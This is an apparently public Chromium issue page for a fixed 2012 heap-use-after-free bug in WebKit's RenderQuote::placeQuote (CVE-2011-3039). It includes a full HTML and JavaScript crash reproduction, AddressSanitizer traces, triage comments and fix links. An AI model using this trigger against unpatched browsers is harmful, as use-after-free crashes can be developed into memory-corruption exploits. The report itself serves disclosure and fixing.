New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Feb 2012
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: ----
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Heap-use-after-free in WebCore::RenderQuote::placeQuote

Reported by miau...@gmail.com, Feb 10 2012 Back to list

Issue description

VULNERABILITY DETAILS

use-after-free with RenderQuote::placeQuote()

VERSION
Chrome Version: stable, beta, dev

Chromium	19.0.1038.0 (Developer Build 121435)
OS	Linux
WebKit	535.21 (@107368)

Operating System: linux 64bit

REPRODUCTION CASE
<html>
  <head>
    <style>
      #el0::before, #el1 {
        display: table-column-group;
      }
      .c1:first-of-type {
      }
      #el4::before {
        display: compact;
      }
    </style>
    <script>
      function crash(){
        el0=document.createElement('q')
        el0.setAttribute('id','el0')
        document.body.appendChild(el0)
        el1=document.createElement('q')
        el1.setAttribute('id','el1')
        el0.appendChild(el1)
        el0.appendChild(document.createTextNode('A'))
        document.body.appendChild(document.createElement('hr'))
        el2=document.createElement('div')
        el2.setAttribute('class','c1')
        el0.appendChild(el2)
        el3=document.createElement('span')
        el3.setAttribute('class','c1')
        document.body.appendChild(el3)
        el4=document.createElement('q')
        el4.setAttribute('id','el4')
        document.body.appendChild(el4)

        document.designMode='on'
        document.execCommand('selectall')
        document.execCommand('bold')
        document.execCommand('insertText', false, '')
        document.execCommand('Undo')
        document.designMode='off'
      } 
      window.onload=crash
    </script>
  </head>
  <body>
  </body>
</html>


FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: renderer + asan
Crash State: 

==7641== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffe7a80bf0 at pc 0x55555ae2ae4a bp 0x7fffffff7bf0 sp 0x7fffffff7be8
READ of size 8 at 0x7fffe7a80bf0 thread T0
    #0 0x55555ae2ae4a in WebCore::RenderQuote::placeQuote() ???:0
    #1 0x55555ae256a8 in WebCore::RenderObjectChildList::appendChildNode(WebCore::RenderObject*, WebCore::RenderObject*, bool) ???:0

0x7fffe7a80bf0 is located 112 bytes inside of 120-byte region [0x7fffe7a80b80,0x7fffe7a80bf8)
freed by thread T0 here:
    #0 0x55555da84712 in free ??:0
    #1 0x55555ae242da in WebCore::RenderObjectChildList::destroyLeftoverChildren() ???:0
    #2 0x55555ad5764a in WebCore::RenderInline::willBeDestroyed() ???:0




 
beta-renderQuote-112120.txt
10.3 KB View Download
112120.html
1.2 KB View Download
renderQuote-112120.txt
10.7 KB View Download
stable-renderQuote-112120.txt
10.4 KB View Download

Comment 1 by tsepez@chromium.org, Feb 10 2012

Labels: -Area-Undefined Area-WebKit Mstone-18 SecSeverity-High SecImpacts-Stable SecImpacts-Beta
19.0.01039/linux/Debug build hits assert:

ASSERTION FAILED: !head->m_previous
third_party/WebKit/Source/WebCore/rendering/RenderQuote.cpp(84) : void WebCore::RenderQuote::placeQuote()

Comment 2 by tsepez@chromium.org, Feb 10 2012

Status: available

Comment 3 by tsepez@chromium.org, Feb 10 2012

Status: Available

Comment 5 by miau...@gmail.com, Feb 11 2012

<3 destroyLeftoverChildren

secondary repro / stack

==29735== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffe7a285e4 at pc 0x55555ae2ce86 bp 0x7fffffff3710 sp 0x7fffffff3708
READ of size 4 at 0x7fffe7a285e4 thread T0
    #0 0x55555ae2ce86 in WebCore::RenderQuote::rendererRemovedFromTree(WebCore::RenderObject*) ???:0
    #1 0x55555ae24ec5 in WebCore::RenderObjectChildList::removeChildNode(WebCore::RenderObject*, WebCore::RenderObject*, bool) ???:0
    #2 0x55555ae1ee5d in WebCore::RenderObject::willBeDestroyed() ???:0

0x7fffe7a285e4 is located 100 bytes inside of 120-byte region [0x7fffe7a28580,0x7fffe7a285f8)
freed by thread T0 here:
    #0 0x55555da84712 in free ??:0
    #1 0x55555ae242da in WebCore::RenderObjectChildList::destroyLeftoverChildren() ???:0
    #2 0x55555ad5764a in WebCore::RenderInline::willBeDestroyed() ???:0



100120.txt
10.2 KB View Download
100120.html
1.6 KB View Download
Labels: -Mstone-18 Mstone-17
SecImpacts Stable is M17
Summary: Heap-use-after-free in WebCore::RenderQuote::placeQuote (was: NULL)
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=20335790

Uploader: inferno@chromium.org

Crash Type: Heap-use-after-free READ 8
Crash Address: 0x7f27d23960f0
Crash State:
  - crash stack -
  WebCore::RenderQuote::placeQuote
  WebCore::RenderObjectChildList::appendChildNode
  - free stack -
  WebCore::RenderObjectChildList::destroyLeftoverChildren
  WebCore::RenderInline::willBeDestroyed
  

Minimized Testcase (1.15 Kb): https://cluster-fuzz.appspot.com/download/AMIfv95h0Cs3Zvyg4gGJb515Vhj2-gydjrvh0KKne1quo5kENxlfDu5ol2zw9qvU4yplZt6ViJDDSco49S_5J4eFk3sKJEcTL1isO0r2U9pCrcPOB5pGZS4jUVjC1Iu8gTuqWjAl_M_vTpdLcR9vEFuz2_ckpXqy7g
Labels: -Pri-0 Pri-1 Stability-AddressSanitizer reward-topanel
Cc: adamk@chromium.org
Owner: infe...@chromium.org
Status: Started
looking
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Status: FixUnreleased
http://trac.webkit.org/changeset/108109
Labels: -Merge-Approved Merge-Merged
M17: http://trac.webkit.org/changeset/109401
M18: http://trac.webkit.org/changeset/109403
Labels: -reward-topanel reward-1000 reward-unpaid
$1000

----
Boilerplate text:
Please do NOT publicly disclose details until a fix has been released to all our
users. Early public disclosure may cancel the provisional reward.
Also, please be considerate about disclosure when the bug affects a core library
that may be used by other products.
Please do NOT share this information with third parties who are not directly
involved in fixing the bug. Doing so may cancel the provisional reward.
Please be honest if you have already disclosed anything publicly or to third parties.
----
Labels: CVE-2011-3039
Labels: -reward-unpaid

Comment 16 by cdn@chromium.org, May 15 2012

Status: Fixed
Marking old security bugs Fixed..
Project Member

Comment 17 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member

Comment 18 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Type-Security -Area-WebKit -SecSeverity-High -SecImpacts-Stable -SecImpacts-Beta -Mstone-17 -Stability-AddressSanitizer Cr-Content Security-Impact-Stable Security-Impact-Beta Security-Severity-High Type-Bug-Security M-17 Performance-Memory-AddressSanitizer
Project Member

Comment 19 by bugdroid1@chromium.org, Mar 13 2013

Labels: Restrict-View-EditIssue
Project Member

Comment 20 by bugdroid1@chromium.org, Mar 13 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member

Comment 22 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-High Security_Severity-High
Project Member

Comment 23 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 24 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member

Comment 25 by bugdroid1@chromium.org, Apr 1 2013

Labels: -Performance-Memory-AddressSanitizer Stability-Memory-AddressSanitizer
Project Member

Comment 26 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 27 by sheriffbot@chromium.org, Jun 14 2016

Labels: -security_impact-beta
Project Member

Comment 28 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 29 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic

Sign in to add a comment